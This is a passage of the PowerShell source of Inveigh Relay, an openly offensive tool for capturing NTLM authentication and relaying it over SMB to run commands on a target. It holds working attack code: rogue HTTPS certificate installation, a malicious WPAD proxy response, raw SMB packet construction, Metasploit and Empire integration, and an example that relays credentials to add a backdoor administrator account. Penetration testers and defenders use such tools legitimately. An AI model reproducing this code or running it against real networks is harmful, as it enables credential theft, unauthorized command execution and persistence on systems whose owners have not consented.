-Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires -local administrator access. - -.PARAMETER HTTPSPort -Default = 443: TCP port for the HTTPS listener. - -.PARAMETER HTTPSCertIssuer -Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. - -.PARAMETER HTTPSCertSubject -Default = localhost: The subject field for the cert that will be installed for HTTPS. - -.PARAMETER HTTPSForceCertDelete -Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and -HTTPSCertSubject. - -.PARAMETER HTTPResetDelay -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the -chance of capturing/relaying authentication through a popup box with some browsers (Firefox). - -.PARAMETER HTTPResetDelayTimeout -Default = 30 Seconds: HTTPResetDelay timeout in seconds. - -.PARAMETER LogOutput -Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the -various yellow warning messages if enabled. - -.PARAMETER ProxyRelay -Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. - -.PARAMETER ProxyIP -Default = Any: IP address for the proxy listener. - -.PARAMETER ProxyPort -Default = 8182: TCP port for the proxy listener. - -.PARAMETER ProxyIgnore -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly -with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is -cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting --SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by -closing and reopening. - -.PARAMETER RelayAutoDisable -Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on -target. - -.PARAMETER RelayAutoExit -Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. - -.PARAMETER RunTime -(Integer) Run time duration in minutes. - -.PARAMETER Service -Default = 20 Character Random: Name of the service to create and delete on the target. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER SMB1 -(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the -target. - -.PARAMETER StartupChecks -Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER Target -IP address of system to target for SMB relay. - -.PARAMETER Tool -Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's -PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. -0 = None, 1 = Metasploit/Meterpreter, 2 = Empire - -.PARAMETER Usernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous/NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to -Anonymous can prevent browser login prompts. - -.PARAMETER WPADAuthIgnore -Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers -will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login -popups for authenticated wpad.dat requests such as Firefox. - -.EXAMPLE -Invoke-Inveigh -HTTP N -Invoke-InveighRelay -Target 192.168.2.55 -Command "net user Inveigh Spring2017 /add && net localgroup administrators Inveigh /add" - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", - [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", - [parameter(Mandatory=$false)][Array]$Usernames = "", - [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "", - [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", - [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", - [parameter(Mandatory=$false)][Int]$HTTPPort = "80", - [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", - [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", - [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", - [parameter(Mandatory=$false)][Int]$RunTime = "", - [parameter(Mandatory=$true)][String]$Command = "", - [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", - [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", - [parameter(Mandatory=$false)][String]$Service, - [parameter(Mandatory=$true)][String]$Target = "", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", - [parameter(Mandatory=$false)][Switch]$SMB1, - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - Write-Output "Error:$($invalid_parameter) is not a valid parameter." - throw -} - -$inveigh_version = "1.3" - -if($ProxyIP -eq '0.0.0.0') -{ - $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) -} - -if(!$FileOutputDirectory) -{ - $output_directory = $PWD.Path -} -else -{ - $output_directory = $FileOutputDirectory -} - -if(!$inveigh) -{ - $global:inveigh = [HashTable]::Synchronized(@{}) - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList - $inveigh.log = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.POST_request_list = New-Object System.Collections.ArrayList - $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList - $inveigh.valid_host_list = New-Object System.Collections.ArrayList -} - -if($inveigh.relay_running) -{ - Write-Output "Error:Invoke-InveighRelay is already running, use Stop-Inveigh" - throw -} - -if(!$inveigh.running) -{ - $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList - $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList - $inveigh.log_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList - $inveigh.status_queue = New-Object System.Collections.ArrayList - $inveigh.console_input = $true - $inveigh.console_output = $false - $inveigh.file_output = $false - $inveigh.HTTPS_existing_certificate = $false - $inveigh.HTTPS_force_certificate_delete = $false - $inveigh.log_output = $true - $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" - $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" - $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" - $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" - $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" -} - -if($StartupChecks -eq 'Y') -{ - - $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} - - if($HTTP -eq 'Y') - { - $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " - } - - if($HTTPS -eq 'Y') - { - $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " - } - - if($Proxy -eq 'Y') - { - $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " - } - -} - -$inveigh.relay_running = $true -$inveigh.SMB_relay = $true - -if($StatusOutput -eq 'Y') -{ - $inveigh.status_output = $true -} -else -{ - $inveigh.status_output = $false -} - -if($OutputStreamOnly -eq 'Y') -{ - $inveigh.output_stream_only = $true -} -else -{ - $inveigh.output_stream_only = $false -} - -if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension -{ - $inveigh.tool = 1 - $inveigh.output_stream_only = $true - $inveigh.newline = "" - $ConsoleOutput = "N" -} -elseif($Tool -eq 2) # PowerShell Empire -{ - $inveigh.tool = 2 - $inveigh.output_stream_only = $true - $inveigh.console_input = $false - $inveigh.newline = "`n" - $LogOutput = "N" - $ShowHelp = "N" - - switch ($ConsoleOutput) - { - - 'Low' - { - $ConsoleOutput = "Low" - } - - 'Medium' - { - $ConsoleOutput = "Medium" - } - - default - { - $ConsoleOutput = "Y" - } - - } - -} -else -{ - $inveigh.tool = 0 - $inveigh.newline = "" -} - -# Write startup messages -$inveigh.status_queue.Add("Inveigh Relay $inveigh_version started at $(Get-Date -format 's')") > $null - -if($FileOutput -eq 'Y') -{ - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay $inveigh_version started") > $null -} - -if($LogOutput -eq 'Y') -{ - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay started") > $null - $inveigh.log_output = $true -} -else -{ - $inveigh.log_output = $false -} - -if($firewall_status) -{ - $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null - - $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 - $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" - - if($firewall_powershell) - { - $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null - } - -} - -if($HTTP -eq 'Y') -{ - - if($HTTP_port_check) - { - $HTTP = "N" - $inveigh.status_queue.Add("HTTP Capture/Relay Disabled Due To In Use Port $HTTPPort") > $null - } - else - { - $inveigh.status_queue.Add("HTTP Capture/Relay = Enabled") > $null - - if($HTTPIP) - { - $inveigh.status_queue.Add("HTTP IP Address = $HTTPIP") > $null - } - - if($HTTPPort -ne 80) - { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null - } - } - -} -else -{ - $inveigh.status_queue.Add("HTTP Capture/Relay = Disabled") > $null -} - -if($HTTPS -eq 'Y') -{ - - if($HTTPS_port_check) - { - $HTTPS = "N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture/Relay Disabled Due To In Use Port $HTTPSPort") > $null - } - else - { - - try - { - $inveigh.certificate_issuer = $HTTPSCertIssuer - $inveigh.certificate_CN = $HTTPSCertSubject - $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null - $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null - $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) - - if(!$certificate_check) - { - # credit to subTee for cert creation code https://github.com/subTee/Interceptor - $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" - $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) - $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" - $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) - $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" - $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" - $certificate_key.KeySpec = 2 - $certificate_key.Length = 2048 - $certificate_key.MachineContext = 1 - $certificate_key.Create() - $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" - $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") - $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" - $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) - $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" - $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) - $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" - $certificate.InitializeFromPrivateKey(2,$certificate_key,"") - $certificate.Subject = $certificate_distinguished_name - $certificate.Issuer = $certificate_issuer_distinguished_name - $certificate.NotBefore = (get-date).AddDays(-271) - $certificate.NotAfter = $certificate.NotBefore.AddDays(824) - $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId - $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") - $certificate.HashAlgorithm = $certificate_hash_algorithm_OID - $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) - $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" - $certificate_basic_constraints.InitializeEncode("true",1) - $certificate.X509Extensions.Add($certificate_basic_constraints) - $certificate.Encode() - $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" - $certificate_enrollment.InitializeFromRequest($certificate) - $certificate_data = $certificate_enrollment.CreateRequest(0) - $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") - $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) - $inveigh.HTTPS = $true - $inveigh.status_queue.Add("HTTPS Capture/Relay = Enabled") > $null - } - else - { - - if($HTTPSForceCertDelete -eq 'Y') - { - $inveigh.HTTPS_force_certificate_delete = $true - } - - $inveigh.HTTPS_existing_certificate = $true - $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null - } - - } - catch - { - $HTTPS = "N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture/Relay Disabled Due To Certificate Error") > $null - } - - } - -} -else -{ - $inveigh.status_queue.Add("HTTPS Capture/Relay = Disabled") > $null -} - -if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') -{ - - if($Challenge) - { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null - } - - if($MachineAccounts -eq 'N') - { - $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null - $inveigh.machine_accounts = $false - } - else - { - $inveigh.machine_accounts = $true - } - - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null - - if($WPADAuth -eq "NTLM") - { - $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) - - if($WPADAuthIgnore.Count -gt 0) - { - $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null - } - - } - - $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) - - if($HTTPResetDelay.Count -gt 0) - { - $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null - $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null - } - -} - -if($Proxy -eq 'Y') -{ - - if($proxy_port_check) - { - $HTTP = "N" - $inveigh.status_queue.Add("Proxy Capture/Relay Disabled Due To In Use Port $ProxyPort") > $null - } - else - { - $inveigh.status_queue.Add("Proxy Capture/Relay = Enabled") > $null - $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null - $ProxyPortFailover = $ProxyPort + 1 - $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_WPAD_IP`:$ProxyPortFailover; DIRECT`";}" - $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) - - if($ProxyIgnore.Count -gt 0) - { - $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null - } - - } - -} - -$inveigh.status_queue.Add("Relay Target = $Target") > $null - -if($Usernames) -{ - - if($Usernames.Count -eq 1) - { - $inveigh.status_queue.Add("Relay Username = " + ($Usernames -join ",")) > $null - } - else - { - $inveigh.status_queue.Add("Relay Usernames = " + ($Usernames -join ",")) > $null - } - -} - -if($RelayAutoDisable -eq 'Y') -{ - $inveigh.status_queue.Add("Relay Auto Disable = Enabled") > $null -} -else -{ - $inveigh.status_queue.Add("Relay Auto Disable = Disabled") > $null -} - -if($RelayAutoExit -eq 'Y') -{ - $inveigh.status_queue.Add("Relay Auto Exit = Enabled") > $null -} -else -{ - $inveigh.status_queue.Add("Relay Auto Exit = Disabled") > $null -} - -if($Service) -{ - $inveigh.status_queue.Add("Relay Service = $Service") > $null -} - -if($SMB1) -{ - $inveigh.status_queue.Add("SMB Version = SMB1") > $null - $SMB_version = 'SMB1' -} - -if($ConsoleOutput -ne 'N') -{ - - if($ConsoleOutput -eq 'Y') - { - $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null - } - - $inveigh.console_output = $true - - if($ConsoleStatus -eq 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null - } - elseif($ConsoleStatus -gt 1) - { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null - } - -} -else -{ - - if($inveigh.tool -eq 1) - { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null - } - else - { - $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null - } - -} - -if($ConsoleUnique -eq 'Y') -{ - $inveigh.console_unique = $true -} -else -{ - $inveigh.console_unique = $false -} - -if($FileOutput -eq 'Y') -{ - $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null - $inveigh.file_output = $true -} -else -{ - $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null -} - -if($RunTime -eq 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null -} -elseif($RunTime -gt 1) -{ - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null -} - -if($ShowHelp -eq 'Y') -{ - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh-Relay") > $null - - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - -} - -if($inveigh.status_output) -{ - - while($inveigh.status_queue.Count -gt 0) - { - - switch -Wildcard ($inveigh.status_queue[0]) - { - - {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh-Relay" -or $_ -like "Windows Firewall = Enabled"} - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Warning($inveigh.status_queue[0]) - } - - $inveigh.status_queue.RemoveAt(0) - } - - default - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.status_queue[0]) - } - - $inveigh.status_queue.RemoveAt(0) - } - - } - - } - -} - -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id -$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -$process_ID = $process_ID -replace "-00-00","" -[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -# Begin ScriptBlocks - -# Shared Basic Functions ScriptBlock -$shared_basic_functions_scriptblock = -{ - - function DataLength2 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) - return $string_length - } - - function DataLength4 - { - param ([Int]$length_start,[Byte[]]$string_extract_data) - - $string_length = [System.BitConverter]::ToUInt32($string_extract_data[$length_start..($length_start + 3)],0) - return $string_length - } - - function DataToString - { - param ([Int]$string_start,[Int]$string_length,[Byte[]]$string_extract_data) - - $string_data = [System.BitConverter]::ToString($string_extract_data[$string_start..($string_start + $string_length - 1)]) - $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $string_extract = New-Object System.String ($string_data,0,$string_data.Length) - return $string_extract - } - -} - -# Irkin Functions ScriptBlock -$irkin_functions_scriptblock = -{ - function ConvertFrom-PacketOrderedDictionary - { - param($packet_ordered_dictionary) - - ForEach($field in $packet_ordered_dictionary.Values) - { - $byte_array += $field - } - - return $byte_array - } - - #NetBIOS - - function Get-PacketNetBIOSSessionService() - { - param([Int]$packet_header_length,[Int]$packet_data_length) - - [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) - $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] - - $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00)) - $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length)) - - return $packet_NetBIOSSessionService - } - - #SMB1 - - function Get-PacketSMBHeader() - { - param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) - - $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) - $packet_SMBHeader.Add("SMBHeader_Command",$packet_command) - $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00)) - $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags) - $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2) - $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00)) - $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID) - $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID) - $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID) - $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00)) - - return $packet_SMBHeader - } - - function Get-PacketSMBNegotiateProtocolRequest() - { - param([String]$packet_version) - - if($packet_version -eq 'SMB1') - { - [Byte[]]$packet_byte_count = 0x0c,0x00 - } - else - { - [Byte[]]$packet_byte_count = 0x22,0x00 - } - - $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) - - if($packet_version -ne 'SMB1') - { - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) - $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) - } - - return $packet_SMBNegotiateProtocolRequest - } - - function Get-PacketSMBSessionSetupAndXRequest() - { - param([Byte[]]$packet_security_blob) - - [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length) - $packet_byte_count = $packet_byte_count[0,1] - [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5) - $packet_security_blob_length = $packet_security_blob_length[0,1] - - $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount",[Byte[]](0x0c)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer",[Byte[]](0xff,0xff)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount",[Byte[]](0x02,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber",[Byte[]](0x01,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength",$packet_byte_count) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount",$packet_security_blob_length) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob",$packet_security_blob) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS",[Byte[]](0x00,0x00,0x00)) - $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage",[Byte[]](0x00,0x00)) - - return $packet_SMBSessionSetupAndXRequest - } - - function Get-PacketSMBTreeConnectAndXRequest() - { - param([Byte[]]$packet_path) - - [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) - $packet_path_length = $packet_path_length[0,1] - - $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount",[Byte[]](0x04)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand",[Byte[]](0xff)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved",[Byte[]](0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags",[Byte[]](0x00,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength",[Byte[]](0x01,0x00)) - $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount",$packet_path_length) - 